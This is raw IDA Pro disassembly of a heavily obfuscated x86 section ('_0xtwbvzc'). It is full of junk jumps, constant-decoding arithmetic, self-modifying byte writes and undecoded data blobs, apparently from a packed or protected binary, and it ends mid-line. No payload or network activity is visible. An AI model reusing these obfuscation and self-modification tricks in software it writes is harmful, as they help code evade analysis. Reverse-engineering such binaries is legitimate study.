[esp+0] pop eax push edx push 9D5201h xchg ecx, [esp+4+var_4] mov edx, ecx jmp loc_78138C sub_780CD2 endp ; --------------------------------------------------------------------------- dw 0C300h dd 0F867E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_780CEE: ; DATA XREF: sub_780FE8:loc_77FFAEo mov byte ptr [esi], 3 xchg ecx, [esp] mov esi, ecx pop ecx jmp loc_7812DB ; --------------------------------------------------------------------------- db 2 dup(0) word_780CFE dw 0C168h ; DATA XREF: sub_77FC00-3E5o dd 8771DA6Ah, 0D18B240Ch, 0FC6DE959h, 0FFFFh ; --------------------------------------------------------------------------- loc_780D10: ; CODE XREF: _0xtwbvzc:00780C84j popf xchg edi, [esp] jmp near ptr dword_78055C+17h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781374 loc_780D19: ; CODE XREF: sub_781374:loc_781429j call near ptr dword_77F8BC+3 add cl, ch dec ebp hlt ; END OF FUNCTION CHUNK FOR sub_781374 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_780D26: ; CODE XREF: sub_7815C7+196j mov byte ptr [ebx], 0C3h pop ebx xor eax, 0A08CD15Ch call sub_780D9D loc_780D35: ; DATA XREF: _0xtwbvzc:00781839o push edx push 57A03944h xchg eax, [esp+4+var_4] mov edx, eax pop eax jmp loc_780DD7 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_312. PRESS KEYPAD "+" TO EXPAND] dd 0FF63B900h, 48E90077h, 0E8FFFFFCh, 0FFFFF2F4h, 0CF130000h dd 0FBBEE950h, 0F00FFFFh, 0FFE62488h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_780D69 proc near ; CODE XREF: sub_7815C7-50Bp ; FUNCTION CHUNK AT 0077F850 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007812ED SIZE 0000000E BYTES xchg esi, [esp+0] pop esi push ecx mov ecx, offset loc_77F990 jmp loc_77F850 sub_780D69 endp ; --------------------------------------------------------------------------- dd 79E95900h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_780D7F: ; CODE XREF: _0xtwbvzc:0077FFE8j push esi ; =============== S U B R O U T I N E ======================================= sub_780D80 proc near ; CODE XREF: _0xtwbvzc:0078065Ap xchg esi, [esp+0] pop esi cld jmp loc_7815E7 sub_780D80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_780D8A: ; CODE XREF: _0xtwbvzc:007815B8j retn ; --------------------------------------------------------------------------- loc_780D8B: ; CODE XREF: _0xtwbvzc:loc_7801C8j pop ecx sub ecx, 0DB3A5DAFh add ecx, 0C09A8090h jmp loc_7809A6 ; =============== S U B R O U T I N E ======================================= sub_780D9D proc near ; CODE XREF: sub_7815C7-897p ; FUNCTION CHUNK AT 007800BF SIZE 0000000D BYTES xchg esi, [esp+0] pop esi add eax, 29152725h popf jmp loc_7800BF sub_780D9D endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 10h locret_780DB0: ; CODE XREF: _0xtwbvzc:007818C8j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_780DB3: ; CODE XREF: _0xtwbvzc:0077FA89j jmp near ptr dword_77F8BC+19h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_780DB9: ; CODE XREF: _0xtwbvzc:loc_7819E0j retn ; --------------------------------------------------------------------------- align 4 dd 0FFE517E9h, 0C181C3FFh, 890D5BE4h, 0C181CD03h, 83A65E47h ; --------------------------------------------------------------------------- loc_780DD0: ; CODE XREF: _0xtwbvzc:0077F302j call loc_77F78A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_780DD7: ; CODE XREF: sub_7815C7-886j jmp loc_781058 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- dd 0F7C8810Fh, 487FFFFh, 830F5824h, 0FFFFF2A8h, 0FFE4FBE8h dd 0E90000FFh, 0FFFFEF7Dh, 0E2625D68h, 0C881589Dh, 55F6B9F4h dd 811CC0C1h, 0A8BAF9C0h, 171F687Ch, 0D4E90078h, 0 dd 0EFB78C0Fh, 0CA33FFFFh, 0A908C0Fh, 0A8E90000h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781910 loc_780E2B: ; CODE XREF: sub_781910+10j xchg esi, [esp+4+var_4] mov edi, esi pop esi loc_780E31: ; CODE XREF: _0xtwbvzc:0077F2FAj or edi, 854D185Bh and edi, 4570D945h jnz loc_780C2C ; END OF FUNCTION CHUNK FOR sub_781910 ; --------------------------------------------------------------------------- db 0 dd 0FDB2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FE08 loc_780E4A: ; CODE XREF: sub_77FE08+10j jmp loc_77FAC9 ; END OF FUNCTION CHUNK FOR sub_77FE08 ; --------------------------------------------------------------------------- align 10h dd 9BF58100h, 2B9D567Ah, 0B5BE9FBh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780CD2 loc_780E60: ; CODE XREF: sub_780CD2:loc_78138Cj pop ecx add edx, 0E140EA73h rol edx, 4 cmp edx, 0A1EEEF93h jmp near ptr dword_77F53C+1Bh ; END OF FUNCTION CHUNK FOR sub_780CD2 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFF63D8Dh, 0F738E9FFh, 0FFFFh, 5B241C87h, 0E8240487h dd 0FFFFF64Fh db 0 ; --------------------------------------------------------------------------- loc_780E91: ; CODE XREF: _0xtwbvzc:0078145Bj jmp loc_78188D ; --------------------------------------------------------------------------- align 4 dd 0E9D58D0Fh, 8100FFFFh, 0EF5D78FFh, 0F523E957h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7817BC loc_780EAC: ; CODE XREF: sub_7817BC:loc_780661j call loc_781708 ; END OF FUNCTION CHUNK FOR sub_7817BC ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF3FAh db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_304. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_781250 loc_780EBC: ; CODE XREF: sub_781250+Bj jmp nullsub_303 ; END OF FUNCTION CHUNK FOR sub_781250 ; --------------------------------------------------------------------------- align 2 dw 830Fh dd 0FFFFF3EDh, 1680F181h, 0C26851A7h, 0E900780Dh, 0FFFFE8DEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7802A7 loc_780ED8: ; CODE XREF: sub_7802A7:loc_780395j push offset byte_780C8B jmp near ptr dword_77FEDC+47h ; END OF FUNCTION CHUNK FOR sub_7802A7 ; --------------------------------------------------------------------------- dw 0C300h dd 0FFEDAEE9h, 0C30000FFh, 0E737E900h, 0FFFFh ; --------------------------------------------------------------------------- loc_780EF4: ; CODE XREF: _0xtwbvzc:0078013Fj pop edx xor edx, 28F3440Ch add edx, 0B08D49E6h rol edx, 13h jmp loc_7806F8 ; --------------------------------------------------------------------------- align 2 dw 8B56h dd 243487F3h, 781833BBh, 0EA07E900h, 0F00FFFFh, 0A8B85h dd 45EF8100h, 0E9FF73E4h, 0FFFFFDA6h, 0E4C78100h, 0E808C01Dh dd 0FFFFE83Ah db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780531 loc_780F39: ; CODE XREF: sub_780531+B20j jmp nullsub_257 ; END OF FUNCTION CHUNK FOR sub_780531 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FF2E loc_780F3F: ; CODE XREF: sub_77FF2E+13j jmp loc_77F848 ; END OF FUNCTION CHUNK FOR sub_77FF2E ; --------------------------------------------------------------------------- dd 46E6800h, 0CAE90078h, 6 db 0 ; --------------------------------------------------------------------------- loc_780F51: ; CODE XREF: _0xtwbvzc:loc_77F856j mov ebp, eax xchg ebp, [esp] mov eax, offset loc_781347 jmp loc_780478 ; --------------------------------------------------------------------------- dd 0BE2C100h, 0FFF95BE9h db 0FFh ; --------------------------------------------------------------------------- loc_780F69: ; DATA XREF: sub_77FE08-330o push ecx mov ecx, 780C21h jmp loc_781694 ; --------------------------------------------------------------------------- db 0 byte_780F75 db 0E8h, 74h, 0EEh ; DATA XREF: sub_7815C7:loc_781694o db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_780F7B: ; CODE XREF: _0xtwbvzc:loc_780BC1j jg loc_781458 jmp loc_7807E3 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0), 0C1h dd 0B9E908CFh, 0FFFFF0h db 0 ; --------------------------------------------------------------------------- loc_780F95: ; DATA XREF: _0xtwbvzc:007808BAo xor edx, eax dec ecx jnz loc_7810AF xchg esi, [esp] jmp loc_781101 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_259. PRESS KEYPAD "+" TO EXPAND] db 0 ; =============== S U B R O U T I N E ======================================= sub_780FA9 proc near ; CODE XREF: _0xtwbvzc:00780356p xchg edx, [esp+0] pop edx lea eax, dword_7801F2 push esi push offset loc_77FFCC jmp nullsub_302 sub_780FA9 endp ; --------------------------------------------------------------------------- align 10h dword_780FC0 dd 0E9C30350h, 0FFFFF710h, 5A241487h, 78123268h, 0E7DAE900h ; DATA XREF: sub_781910:loc_7804D5o ; _0xtwbvzc:00781583w ... db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FC00 loc_780FD7: ; CODE XREF: sub_77FC00+1716j xor edi, 0EF5389C4h add edi, 0C2D1EC2Dh jmp loc_77F815 ; END OF FUNCTION CHUNK FOR sub_77FC00 ; =============== S U B R O U T I N E ======================================= sub_780FE8 proc near ; DATA XREF: _0xtwbvzc:00781369o ; FUNCTION CHUNK AT 0077FFAE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00780B91 SIZE 00000017 BYTES push esi push 70F8EB9Eh pop esi add esi, 0EA854A42h jmp loc_780B91 sub_780FE8 endp ; --------------------------------------------------------------------------- dw 9D00h ; --------------------------------------------------------------------------- jmp sub_77FDBF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_781003: ; CODE XREF: _0xtwbvzc:0078068Fj retn ; --------------------------------------------------------------------------- dd 1FE9C300h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_78100B: ; CODE XREF: _0xtwbvzc:0077FF72j jmp loc_781764 ; --------------------------------------------------------------------------- dd 0D10B0000h, 146E9h, 53000000h, 0FFE89CE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_781023: ; CODE XREF: _0xtwbvzc:007818F8j retn ; --------------------------------------------------------------------------- dd 0B2E90000h, 0FFFFEEh, 0C300h, 0FFF5EBE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_781036: ; CODE XREF: _0xtwbvzc:00780675j jmp locret_781406 ; --------------------------------------------------------------------------- align 4 dd 0E8008A00h, 0FFFFECBFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780531 loc_781046: ; CODE XREF: sub_780531+7Ej call nullsub_20 push esi push offset loc_7807D4 jmp loc_780F39 ; END OF FUNCTION CHUNK FOR sub_780531 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_781058: ; CODE XREF: sub_7815C7:loc_780DD7j xor edx, 0C3F2AF3Ah add edx, 6C255D82h push offset loc_77F3F7 jmp nullsub_259 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_78077A loc_781070: ; CODE XREF: sub_78077A+1Bj push esi mov esi, 77F6ACh jmp loc_780623 ; END OF FUNCTION CHUNK FOR sub_78077A ; --------------------------------------------------------------------------- db 0Fh dd 0FFF02085h, 0EF33E9FFh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_781087: ; CODE XREF: _0xtwbvzc:0077F6E5j jmp loc_77F57C ; --------------------------------------------------------------------------- dd 0B0F8700h, 358D0FD3h, 0E9FFFFE2h, 0FFFFE5FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_78109E: ; CODE XREF: _0xtwbvzc:loc_780ABFj mov ecx, ebx push edx mov edx, offset nullsub_310 jmp loc_77FF8D ; --------------------------------------------------------------------------- align 4 locret_7810AC: ; CODE XREF: _0xtwbvzc:0077F2F5j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_7810AF: ; CODE XREF: sub_77F98E+E72j ; _0xtwbvzc:00780F98j ... jb loc_77F99C jz loc_7811B3 lodsb call sub_780D69 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_7810C3: ; CODE XREF: _0xtwbvzc:0077FFDEj jl loc_78070F ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- mov ecx, 0E92840E5h aaa idiv bh inc dword ptr [eax] loc_7810D7: ; CODE XREF: _0xtwbvzc:0077F85Dj xchg edi, edx ; START OF FUNCTION CHUNK FOR sub_77FF2E loc_7810D9: ; CODE XREF: sub_77FF2E:loc_77F848j add eax, 0EF41A994h add eax, ebp push offset byte_7819D1 jmp nullsub_301 ; END OF FUNCTION CHUNK FOR sub_77FF2E ; --------------------------------------------------------------------------- align 4 dd 0C2819D00h, 0E29449AEh, 0E9241487h, 0FFFFF95Bh, 0FFE26FE8h db 0FFh ; --------------------------------------------------------------------------- loc_781101: ; CODE XREF: _0xtwbvzc:00780FA1j jmp loc_781527 ; --------------------------------------------------------------------------- dw 487h dd 240C8724h, 2C59C18Bh, 0E8E2E999h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_781117: ; DATA XREF: _0xtwbvzc:00781846o mov edi, [edi] popf loc_78111A: ; DATA XREF: _0xtwbvzc:loc_78134Fo xchg edi, [esp] call eax jmp loc_7815B3 ; --------------------------------------------------------------------------- loc_781124: ; CODE XREF: _0xtwbvzc:007801F8j push esi loc_781125: ; CODE XREF: _0xtwbvzc:007804CBj mov esi, eax xchg esi, [esp] jmp loc_781197 ; --------------------------------------------------------------------------- align 10h dd 0F438850Fh, 800FFFFFh, 9CCh, 0FFFC5CE9h, 18C2C1FFh dd 0E3FC8E0Fh, 14E9FFFFh, 0FFFFF6h, 0FE54D181h, 0D50334BFh dd 41BE9h, 0F000000h, 0FFEDD687h, 240C87FFh, 8B241487h dd 0E8E95ACAh, 0FFFFECh ; --------------------------------------------------------------------------- loc_781174: ; CODE XREF: _0xtwbvzc:007807DEj mov ecx, esi xchg ecx, [esp] push 45F8FD51h pop esi jmp near ptr dword_78058C+2 ; --------------------------------------------------------------------------- db 0, 8Bh, 0F9h ; =============== S U B R O U T I N E ======================================= sub_781187 proc near ; CODE XREF: _0xtwbvzc:0077FBEEp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0077FA8E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0077FA9D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00780513 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780826 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0078091B SIZE 00000005 BYTES xchg ecx, [esp+0] xchg ebp, [esp+0] mov ecx, ebp pop ebp jmp loc_77FA8E sub_781187 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_781197: ; CODE XREF: _0xtwbvzc:0078112Aj mov eax, ebp xchg eax, [esp] push 77F5A5h jmp locret_780705 ; --------------------------------------------------------------------------- dw 0FF00h dd 7580C015h, 0FB0FE900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_7811B3: ; CODE XREF: sub_7815C7:loc_77F99Cj ; sub_7815C7-512j push offset loc_77FD6A jmp nullsub_307 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- loc_7811BD: ; CODE XREF: _0xtwbvzc:007805B5j xchg ecx, [esp] pop ecx call nullsub_317 call sub_7814D3 ; --------------------------------------------------------------------------- db 0 dd 0F1F0E900h, 0FFFFh ; =============== S U B R O U T I N E ======================================= sub_7811D4 proc near ; CODE XREF: _0xtwbvzc:0077F936p ; FUNCTION CHUNK AT 00780B1A SIZE 0000000B BYTES xchg edx, [esp+0] xchg edi, [esp+0] mov edx, edi pop edi jmp loc_780B1A sub_7811D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 8CE6815Eh, 817A3C69h, 92754CF6h, 8C68147h, 3D3BD19h dd 2A768F5h, 0E4E90078h, 0FFFFFAh, 58D08500h, 0FFF300E9h dd 0C600FFh, 815F5809h, 0EA34C2CFh, 6FC7816Eh, 8121C8A0h dd 0A50E66CFh, 0C7F7D7h, 0E9000080h, 0FFFFE946h, 800F0000h dd 0FFFFE0A8h, 87EE8B55h, 0B968242Ch, 0E9BA438Eh, 49Ch dd 880F0000h, 0FFFFF297h ; =============== S U B R O U T I N E ======================================= sub_781250 proc near ; CODE XREF: sub_7815C7+1BEp ; FUNCTION CHUNK AT 00780EBC SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 0FFFFFFFFh push offset dword_780A5C jmp loc_780EBC sub_781250 endp ; --------------------------------------------------------------------------- db 0 byte_781261 db 87h, 1Ch, 24h ; DATA XREF: _0xtwbvzc:00780431o dd 2B68EC8Bh, 0E90077F6h, 0FFFFFC7Dh db 0 ; --------------------------------------------------------------------------- loc_781271: ; DATA XREF: _0xtwbvzc:0078152Ao pop esi push 780DF8h jmp locret_780872 ; --------------------------------------------------------------------------- dd 7ED820Fh, 14870000h, 0A0685A24h, 0E9007816h, 0FFFFFDA0h dd 0E8590000h, 0FFFFEC32h, 8ED6689Ch, 81585182h, 2EF2AEE0h dd 0F429E983h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_7812AB: ; CODE XREF: _0xtwbvzc:00780A2Fj pop ebx add ecx, 81B4A150h sub ecx, 0C6E4E577h xor ecx, 0AD5048EAh or ecx, 794900Bh add ecx, 48B90039h jmp loc_78178A ; --------------------------------------------------------------------------- align 10h dd 8700C300h, 8AE8240Ch db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_7812DB: ; CODE XREF: _0xtwbvzc:00780CF7j jmp near ptr dword_7809B0+27h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_7812E1: ; CODE XREF: _0xtwbvzc:0078099Bj push offset byte_7812FB jmp locret_7813E4 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780D69 loc_7812ED: ; CODE XREF: sub_780D69:loc_77F850j mov byte ptr [ecx], 0C1h pop ecx push offset sub_77F98E jmp near ptr dword_77F400+81h ; END OF FUNCTION CHUNK FOR sub_780D69 ; --------------------------------------------------------------------------- byte_7812FB db 0C6h ; DATA XREF: _0xtwbvzc:loc_7812E1o dd 87598701h, 0F18B240Ch, 0FFEC3EE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FC00 loc_781309: ; CODE XREF: sub_77FC00:loc_77FB82j push edi push 68805867h pop edi sub edi, 958AD584h jmp loc_780FD7 ; END OF FUNCTION CHUNK FOR sub_77FC00 ; --------------------------------------------------------------------------- loc_78131B: ; CODE XREF: _0xtwbvzc:00780306j pushf ror edi, 1Bh loc_78131F: ; CODE XREF: _0xtwbvzc:007802F8j add eax, 0E056CE83h mov eax, [eax] call near ptr dword_77F400+20h loc_78132C: ; CODE XREF: _0xtwbvzc:00780BDBj push 0D59D3E30h pop esi and esi, 0F4C5002Dh or esi, 1EB3D0ECh xor esi, 293ECB96h add edi, esi pop esi loc_781347: ; DATA XREF: _0xtwbvzc:00780F56o mov ebp, 0EE28E93Fh ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_78134F: ; CODE XREF: _0xtwbvzc:loc_78009Aj mov ecx, offset loc_78111A jmp loc_77FBDA ; --------------------------------------------------------------------------- loc_781359: ; CODE XREF: _0xtwbvzc:loc_780478j mov byte ptr [eax], 8Bh pop eax xor edi, 0FABF128Dh add edi, 0C4B3F491h push offset sub_780FE8 jmp near ptr dword_77F6FC+5 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_781374 proc near ; CODE XREF: _0xtwbvzc:0078176Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00780A6D SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00780D19 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00781429 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push ebx push 6379F39Ch pop ebx push eax mov eax, ecx jmp loc_780A6D sub_781374 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_314. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_780CD2 loc_78138C: ; CODE XREF: sub_780CD2+Fj jmp loc_780E60 ; END OF FUNCTION CHUNK FOR sub_780CD2 ; --------------------------------------------------------------------------- loc_781391: ; CODE XREF: _0xtwbvzc:007802C0j pop eax and eax, 74FBB29h sub eax, 9E6602F4h xor eax, 5FCC5E79h or eax, 596A1651h add eax, 86FAA99Fh call near ptr dword_77FB88+16h push 0FB6F3C99h pop eax sub eax, 0F575DF93h and eax, 2CED13B1h or eax, 0A3CD598Eh push offset byte_780ACD jmp near ptr dword_77F60C+1 ; --------------------------------------------------------------------------- align 4 dd 0D4B6C6F7h, 82E95270h, 0FFFFEEh ; --------------------------------------------------------------------------- locret_7813E4: ; CODE XREF: _0xtwbvzc:007812E6j retn ; --------------------------------------------------------------------------- align 2 loc_7813E6: ; CODE XREF: _0xtwbvzc:0077FCB1j jmp loc_78054A ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFFC11h db 2 dup(0) word_7813F6 dw 487h ; DATA XREF: _0xtwbvzc:loc_77F740o dd 5ABB5324h, 0E90077F9h, 0FFFFFDC9h db 2 dup(0) ; --------------------------------------------------------------------------- locret_781406: ; CODE XREF: _0xtwbvzc:loc_781036j retn ; --------------------------------------------------------------------------- align 4 dd 0B9840F00h, 0FFFFFAh, 0FFF3E900h, 1FBBFFFFh, 0F9923B7h dd 0FFEC8C86h, 0EA41E9FFh, 0FFFFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_311. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781374 loc_781429: ; CODE XREF: sub_781374-8E0j jmp loc_780D19 ; END OF FUNCTION CHUNK FOR sub_781374 ; --------------------------------------------------------------------------- dw 0ECE9h dd 0FFFFE4h db 0 byte_781435 db 87h, 1Ch, 24h ; DATA XREF: sub_7805C0:loc_7803B7o dd 78068868h, 0E8A5E900h db 2 dup(0FFh), 0 byte_781443 db 0E8h ; DATA XREF: _0xtwbvzc:00780963o dd 0FFFFE8AFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_78144A: ; CODE XREF: sub_7815C7-1C24j jmp sub_78186E ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 10h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_315. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_781452: ; DATA XREF: sub_78020A+6o add edx, 0B27D7620h loc_781458: ; CODE XREF: _0xtwbvzc:loc_780F7Bj mov edx, [edx] popf jmp loc_780E91 ; --------------------------------------------------------------------------- dd 0C300h, 5E8706C6h, 0FFF588E8h db 0FFh ; --------------------------------------------------------------------------- loc_78146D: ; CODE XREF: _0xtwbvzc:0078063Ej xchg edi, [esp] pop edi push ebp mov ebp, ecx ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_781474: ; CODE XREF: sub_7815C7:loc_77F784j xchg ebp, [esp+0] push 0B10BC7EDh xchg ecx, [esp+4+var_4] jmp near ptr dword_77F400+0F0h ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- dd 0C2C15D00h, 6EEA8108h, 0E8C33B5Ah, 0FFFFDE17h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F98E loc_781495: ; CODE XREF: sub_77F98E+7j jmp loc_7807FF ; END OF FUNCTION CHUNK FOR sub_77F98E ; --------------------------------------------------------------------------- loc_78149A: ; CODE XREF: _0xtwbvzc:0077F745j jmp near ptr dword_77F400+7Eh ; --------------------------------------------------------------------------- align 10h dd 1AC0C100h, 0DF1BF081h, 0C50337B6h, 0BB326852h, 815AF8B7h dd 10939CF2h, 0F34EE9E2h db 2 dup(0FFh), 0 byte_7814BF db 9Dh ; DATA XREF: sub_7815C7:loc_77F9AAo dd 0FFE656E8h, 0E9C300FFh, 0FFFFEA56h, 0F78C0F00h db 0F3h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_7814D3 proc near ; CODE XREF: _0xtwbvzc:007811C6p xchg eax, [esp+0] pop eax nop call sub_7819E5 jmp near ptr dword_77F688+41h sub_7814D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0FF3E8A0Fh, 0C3C1FFFFh, 2ECB8112h, 81CD3C4Fh, 0C3B0C6C3h dd 0E9C30332h, 0FFFFF76Ch ; --------------------------------------------------------------------------- loc_781500: ; CODE XREF: _0xtwbvzc:loc_77FD7Aj push ebp mov ebp, eax xchg ebp, [esp] mov eax, ecx call loc_780B07 loc_78150D: ; DATA XREF: _0xtwbvzc:00780689o push 91438D51h pop eax add eax, 0E6AA8B9Ch call sub_7815C7 retn ; --------------------------------------------------------------------------- align 10h dd 0F888E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_781527: ; CODE XREF: _0xtwbvzc:loc_781101j mov ecx, esi pop esi push offset loc_781271 jmp near ptr dword_77F798+72h ; --------------------------------------------------------------------------- dd 0FD20900h, 0A384h, 3C1E800h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F978 loc_781544: ; CODE XREF: sub_77F978:loc_780A19j pop edx push offset word_7808E6 jmp nullsub_308 ; END OF FUNCTION CHUNK FOR sub_77F978 ; --------------------------------------------------------------------------- db 8Bh dd 0FD20910h, 8784h, 19C46800h, 0E2E90078h, 0FFFFF8h db 0 ; =============== S U B R O U T I N E ======================================= sub_781565 proc near ; CODE XREF: sub_7815C7:loc_77FB0Fp xchg ecx, [esp+0] pop ecx mov byte ptr [edx], 0C2h pop edx call sub_77F522 loc_781572: ; CODE XREF: _0xtwbvzc:007803B0j jmp nullsub_312 sub_781565 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 xchg ecx, [esp] pop ecx mov byte ptr ds:dword_77FFA0, 0E8h mov byte ptr ds:dword_780FC0+8, 87h mov byte ptr ds:dword_780FC0+0Bh, 5Ah mov byte ptr ds:dword_780FC0+0Ch, 68h mov byte ptr ds:dword_780FC0+11h, 0E9h mov byte ptr ds:dword_7801F2, 0Fh retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780531 loc_7815A7: ; CODE XREF: sub_780531+Aj jmp loc_77FBB1 ; END OF FUNCTION CHUNK FOR sub_780531 ; --------------------------------------------------------------------------- db 0, 0C3h ; --------------------------------------------------------------------------- loc_7815AE: ; DATA XREF: _0xtwbvzc:loc_78188Do xchg edx, [esp] call eax loc_7815B3: ; CODE XREF: _0xtwbvzc:0078111Fj push offset word_780C9A jmp locret_780D8A ; --------------------------------------------------------------------------- locret_7815BD: ; CODE XREF: _0xtwbvzc:loc_77FBF9j retn ; --------------------------------------------------------------------------- align 10h locret_7815C0: ; CODE XREF: _0xtwbvzc:0078183Ej retn ; --------------------------------------------------------------------------- align 2 loc_7815C2: ; CODE XREF: _0xtwbvzc:0077FAF9j jmp near ptr dword_77F53C+11h ; =============== S U B R O U T I N E ======================================= sub_7815C7 proc near ; CODE XREF: _0xtwbvzc:00781519p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0077F5DF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0077F6CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0077F784 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0077F825 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0077F99C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0077F9AA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0077FA55 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0077FB0F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0077FB27 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007800EF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00780191 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0078049F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0078057C SIZE 00000005 